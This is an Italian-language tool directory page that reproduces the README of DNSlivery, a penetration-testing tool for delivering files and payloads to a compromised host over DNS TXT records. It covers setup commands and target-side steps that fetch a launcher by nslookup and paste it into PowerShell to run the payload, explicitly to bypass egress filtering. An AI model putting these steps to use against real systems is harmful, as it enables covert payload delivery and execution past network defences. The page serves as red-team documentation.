Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DNSlivery — Consegna facile di file e payload tramite DNS | Kitploit
Strumenti/GitHubGitHub/no0be/dnslivery
Esfiltrazione DatiPenetration TestingCommand and ControlAnalisi DNS
GitHubno0be/dnslivery

DNSlivery

Consegna facile di file e payload tramite DNS

Vedi Repository
426777 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

python-3.7 Known Vulnerabilities

DNSlivery

Consegna semplice di file e payload tramite DNS.

  • DNSlivery
  • Riconoscimenti
  • Descrizione
    • TL;DR
    • Quale problema stai cercando di risolvere?
    • Come funziona?
    • Requisiti
  • Configurazione
    • Zona DNS
    • DNSlivery
  • Utilizzo
    • Server
    • Target

Riconoscimenti

Questo progetto è stato originariamente ispirato da PowerDNS e dal segmento tecnico di Joff Thyer nel podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).

Descrizione

TL;DR

DNSlivery permette di consegnare file a un target utilizzando DNS come protocollo di trasporto.

Caratteristiche:

  • permette di stampare, eseguire o salvare file sul target
  • non richiede alcun client sul target
  • non richiede un server DNS completo

demo-target.git

Quale problema stai cercando di risolvere?

Consegnare facilmente file e/o payload a un target compromesso dove la consegna web classica non è possibile e senza la necessità di un software client dedicato. Questo si applica ad ambienti ristretti dove il traffico web in uscita è vietato o semplicemente ispezionato da un curioso proxy web.

web-delivery-blocked.png

Anche se esistono già strumenti di tunneling DNS più completi (ad es. dnscat2 e iodine), richiedono tutti l'esecuzione di un client dedicato sul target. Il problema è che probabilmente non c'è altro modo se non il DNS per consegnare il client in ambienti così ristretti. In altre parole, costruire un canale di comunicazione DNS con questi strumenti richiede di avere già un canale di comunicazione DNS.

In confronto, DNSlivery fornisce solo una comunicazione unidirezionale dal tuo server al target ma non richiede alcun client dedicato per farlo. Quindi, se hai bisogno di costruire un canale di comunicazione bidirezionale affidabile tramite DNS, usa DNSlivery per consegnare il client di uno strumento di tunneling DNS più avanzato al tuo target.

Come funziona?

Proprio come la maggior parte degli strumenti di tunneling DNS, DNSlivery utilizza record TXT per memorizzare il contenuto dei file nella loro rappresentazione base64. Tuttavia, non richiede la configurazione di un server DNS completo per funzionare. Invece, utilizza la libreria scapy per ascoltare i pacchetti DNS in arrivo e creare la risposta desiderata.

network-process.png

Poiché la maggior parte dei file non rientra in un singolo record TXT, DNSlivery creerà più record ordinati contenenti blocchi base64 del file. Ad esempio, il diagramma sopra illustra la consegna del 42ndo blocco del file chiamato file.

Per recuperare tutti i blocchi base64 e ricombinarli senza la necessità di un client dedicato sul target, DNSlivery genererà per ogni file:

  • un semplice launcher in chiaro
  • uno stager affidabile codificato in base64

two-stages-delivery.png

Questo processo di consegna in due fasi è necessario per aggiungere funzionalità allo stager (ad es. gestione delle risposte DNS perse) che altrimenti non rientrerebbero in un singolo record TXT.

Nota sulla compatibilità del target

Attualmente, sono supportati solo target PowerShell. Tuttavia, DNSlivery potrebbe essere migliorato per supportare target aggiuntivi come bash o python. Per favore fammi sapere @no0be se questa è una funzionalità che vorresti vedere implementata.

Requisiti

DNSlivery non richiede la costruzione di un'infrastruttura server complessa. In effetti, ci sono solo due semplici requisiti:

  • essere in grado di creare un record NS nella tua zona DNS pubblica
  • avere un server Linux in grado di ricevere traffico udp/53 da Internet

Configurazione

Zona DNS

Il primo passo è delegare un sottodominio al server che eseguirà DNSlivery creando un nuovo record NS nel tuo dominio. Ad esempio, ho creato il seguente record per delegare il sottodominio dnsd.no0.be al server vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Se la tua zona è gestita da un provider di terze parti, fai riferimento alla loro documentazione per creare il record NS.

DNSlivery

Gli unici requisiti per eseguire DNSlivery sono python3 e la sua libreria scapy.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Utilizzo

Server

DNSlivery servirà tutti i file di una directory specificata (pwd per impostazione predefinita) e deve essere eseguito con privilegi di root per ascoltare i pacchetti udp/53 in arrivo.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Esempio:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Nota sulla normalizzazione dei nomi file

Poiché il set di caratteri consentito per i nomi di dominio è molto più restrittivo rispetto ai nomi file UNIX (secondo RFC1035), DNSlivery eseguirà la normalizzazione quando necessario.

Esempio:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Tieni presente che l'attuale codice di normalizzazione non è perfetto poiché non tiene conto di nomi file sovrapposti o limiti di dimensione.

Target

Sul target, inizia recuperando il launcher del file desiderato richiedendo il suo record TXT dedicato. I seguenti tre launcher sono supportati:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

Quindi, basta copiare e incollare il launcher citato nella risposta DNS in una console PowerShell per recuperare il file sul target.

Esempio:

demo-target.git

Scarica lo strumento
AzioneLauncherDescrizione
Stampa[filename].print.[domain](Predefinito) Stampa il file consegnato sulla console
Esegui[filename].exec.[domain]Esegue il file consegnato (utile per script)
Salva[filename].save.[domain]Salva il file consegnato su disco (utile per binari)